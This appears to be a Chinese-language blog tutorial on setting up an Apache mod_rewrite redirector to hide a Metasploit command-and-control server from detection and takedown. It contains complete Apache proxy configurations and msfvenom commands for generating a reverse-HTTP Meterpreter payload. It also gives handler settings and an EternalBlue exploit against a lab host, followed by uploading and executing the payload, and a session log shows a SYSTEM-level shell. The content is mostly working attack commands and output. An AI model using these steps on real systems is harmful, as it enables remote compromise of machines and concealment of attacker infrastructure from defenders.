C2重定向器配置技术

定义

如果单纯的部署一个C2服务器那么很容易被识别,然后被关停,但如果使用重定向器,那么就可以对服务器进行一定程度的隐藏:

image-20250408130634676
C2 和重定向器与受害者回连的示意图

但只是这样是不够的,一旦被识别还是容易被关停,那么可以使用防火墙进行隔离,防止其他访问:

image-20250408130655422
C2 服务器和重定向器应该如何交互的示意图

设置重定向

使用apache中的 mod_rewrite 模块实现能够根据特定的http头或内容进行转发,根据规则将请求转发到服务器上的内部或外部主机,配合msfconsole的meterpreter实现重定向。

以下模块必须启用:

  • rewrite
  • proxy
  • proxy_http
  • headers

安装Apache并启用模块

apt update
apt install apache2 -y
a2enmod rewrite proxy proxy_http headers
systemctl restart apache2

修改 Apache 配置文件

修改apache配置,以实现对数据包的识别、转发,修改 /etc/apache2/sites-available/000-default.conf 文件内容(Debian系统)

在 VirtualHost 部分的新行上添加 RewriteEngine On ,因为只需要匹配 User-Agent "NotMeterpreter",所以使用一些基本的正则表达式来捕获它即可:

  • 添加一个^表示字符串的开始,并在序列末尾添加一个$,即:"^NotMeterpreter$"

PS:这个正则表达式将只捕获 NotMeterpreter User-Agent。可以将此行: RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$" 添加到配置中,实现仅允许具有 NotMeterpreter 用户代理的 HTTP 请求访问 Metasploit。

修改后的配置文件参考:

┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat /etc/apache2/sites-available/000-default.conf  | grep -v '#'
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
    ProxyPass "/" "http://localhost:8080/"

    <Directory /var/www/html>
        AllowOverride All
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

┌──(root㉿kali)-[/home/kali]
└─# systemctl restart apache2

生成带有修改头部的有效载荷

msfvenom -p windows/meterpreter/reverse_http LHOST=<重定向器ip> LPORT=80 HttpUserAgent=NotMeterpreter -f exe -o shell.exe

PS:重要参数

  • LHOST=10.13.82.5:Payload回调地址指向Kali(重定向器)。
  • HttpUserAgent=NotMeterpreter:与Apache的Rewrite规则匹配。

投送payload

使用初次连接利用web投送文件

建立一个临时连接,将payload投送执行后,使目标与重定向器建立连接,随后断开临时连接即可。

将payload上传到目标主机后,通过抓包就可以看到数据包中包含了设置的UA头:

img
抓取修改后的 HTTP 负载的 Meterpreter 数据包

设置Exploit/Multi/Handler

在meterpreter中需要设置LHOST,在这里的案例中是设置为本地,即:127.0.0.1,但实际攻击的时候,需要设置为公共ip,在本案例中使用8080端口。

然后需要设置OverrideLHOST和OverrideLPORT,这是重定向器的ip或域名和端口,还必须将 OverrideRequestHost 设置为 true。这将使 Meterpreter 以 OverrideHost 信息响应,因此所有查询都将通过重定向器而不是 C2 服务器进行。

# 启动 msfconsole:
msfconsole

# 使用 multi/handler:
use exploit/multi/handler 
set payload windows/meterpreter/reverse_http

# 设置监听参数
# 为了使 Kali 同时处理内部连接和对外显示,配置如下参数:
# 内部监听:由于 Apache 代理转发到本机,内部监听使用 127.0.0.1 和端口 8080:
set LHOST 127.0.0.1
set LPORT 8080
set ReverseListenerBindAddress 127.0.0.1
set ReverseListenerBindPort 8080

# 对外覆盖参数:因为实际目标需要通过重定向器与之通信,所以需要覆盖 LHOST 为 Kali 的实际 IP(10.13.82.5)以及端口 80(重定向器监听的端口):
set OverrideLHOST 10.13.82.5
set OverrideLPORT 80
set OverrideRequestHost true  # 确保 HTTP User-Agent

# 确保生成的 payload 与 Apache 重定向规则匹配:
set HttpUserAgent NotMeterpreter

# 启动监听,此时,Metasploit 会在 http://127.0.0.1:8080 上等待来自带有特定 User-Agent 的 HTTP 请求:
run

设置完成后,运行 Meterpreter 反向 Shell 应会将所有通信通过重定向器进行代理!实现的示意图如下:

image-20250408130533407
实验室重定向器设置

PS:在实际操作中,一般是使用多个主机和 DNS 记录而不是 IP 地址。

实操案例

配置表:

主机 职责
10.13.82.5 C2服务器
10.10.250.149 重定向器
10.10.181.215 目标主机(存在永恒之蓝)

配置转发器机器(10.10.250.149)

A. 安装并配置 Apache

# 安装 Apache(如果尚未安装):
apt install apache2

# 启用所需模块:
a2enmod rewrite;a2enmod proxy;a2enmod proxy_http;a2enmod headers

# 重启 Apache 服务:
systemctl restart apache2

# 修改 Apache 端口监听设置,确保 Apache 同时监听 80 端口和 5566 端口。编辑 /etc/apache2/ports.conf 文件,添加一个监听端口
vim /etc/apache2/ports.conf
Listen 5566

# 新建一个新的虚拟主机配置文件 /etc/apache2/sites-available/redirector.conf,添加内容:
vim /etc/apache2/sites-available/redirector.conf
<VirtualHost *:5566>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/redirector

    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
    ProxyPass "/" "http://10.13.82.5:8080/"
    ProxyPassReverse "/" "http://10.13.82.5:8080/"

    <Directory /var/www/redirector>
        AllowOverride All
        Require all granted
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/redirector_error.log
    CustomLog ${APACHE_LOG_DIR}/redirector_access.log combined
</VirtualHost>

# 启用新建的虚拟主机
a2ensite redirector.conf
systemctl reload apache2

这里是因为转发器的80端口另有它用,所以启用了另一个监听端口5566,如果就是80端口的话,那就只需要修改 /etc/apache2/sites-available/000-default.conf 的内容即可。

配置真实 C2(Kali 10.13.82.5)上的 Metasploit Handler

在 Kali 上使用 Metasploit 配置 multi/handler,关键配置如下:

# 启动 msfconsole 并载入模块:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http

# 配置内部监听参数,因 Apache 代理会将连接转发到本机,所以内部监听绑定在 127.0.0.1:8080
set LHOST 0.0.0.0
set LPORT 8080
set ReverseListenerBindAddress 0.0.0.0
set ReverseListenerBindPort 8080

# 设置 Override 参数,让目标看到连接为转发器地址:将 OverrideLHOST 设为转发器 IP(10.10.250.149),OverrideLPORT 设为转发器的监听端口 5566
set OverrideLHOST 10.10.250.149
set OverrideLPORT 5566
set OverrideRequestHost true

# 设置 HttpUserAgent(在 Apache 端配置的匹配规则):
set HttpUserAgent NotMeterpreter

# 启动
run

这样配置完成后,尽管 Metasploit 实际监听在本机 127.0.0.1:8080,但回连信息中目标将看到的是 10.10.250.149:5566,由转发器转发。

建立临时会话

这里利用永恒之蓝漏洞建立一个临时会话,将payload投送、执行后断开。

use exploit/windows/smb/ms17_010_eternalblue
set LHOST 10.13.82.5
set RHOST 10.10.181.215
run

生成payload并投送

使用命令生成Windows可执行文件:

msfvenom -p windows/meterpreter/reverse_http LHOST=10.10.250.149 LPORT=5566 HttpUserAgent=NotMeterpreter -f exe -o shell.exe

在meterpreter会话中投送、执行payload:

# 投送payload
upload shell.exe %TEMP%\\shell.exe

# 验证是否存在
ls C:/Windows/TEMP

# 执行
execute -f C:/Windows/TEMP/shell.exe

# 验证进程
ps | grep "shell"

成功获取新的shell:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > set ReverseListenerBindAddress 0.0.0.0
ReverseListenerBindAddress => 0.0.0.0
msf6 exploit(multi/handler) > set ReverseListenerBindPort 8080
ReverseListenerBindPort => 8080
msf6 exploit(multi/handler) > set OverrideLHOST 10.10.250.149
OverrideLHOST => 10.10.250.149
msf6 exploit(multi/handler) > set OverrideLPORT 5566
OverrideLPORT => 5566
msf6 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf6 exploit(multi/handler) > set HttpUserAgent NotMeterpreter
HttpUserAgent => NotMeterpreter
msf6 exploit(multi/handler) > run
[*] Started HTTP reverse handler on http://0.0.0.0:8080
[*] http://0.0.0.0:8080 handling request from 10.10.250.149; (UUID: pmeajli4) Staging x86 payload (178780 bytes) ...
[*] Meterpreter session 1 opened (10.13.82.5:8080 -> 10.10.250.149:48876) at 2025-04-08 05:04:47 -0400

meterpreter > getpid
Current pid: 1260
meterpreter > ps | grep "shell"
Filtering on 'shell'

Process List
============

 PID   PPID  Name        Arch  Session  User                 Path
 ---   ----  ----        ----  -------  ----                 ----
 1260  1112  shell2.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Windows\TEMP\shell2.exe

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

转发器日志:

image-20250408171015487

posted @ 2025-12-04 16:26  shinianyunyan  阅读(2)  评论(0)    收藏  举报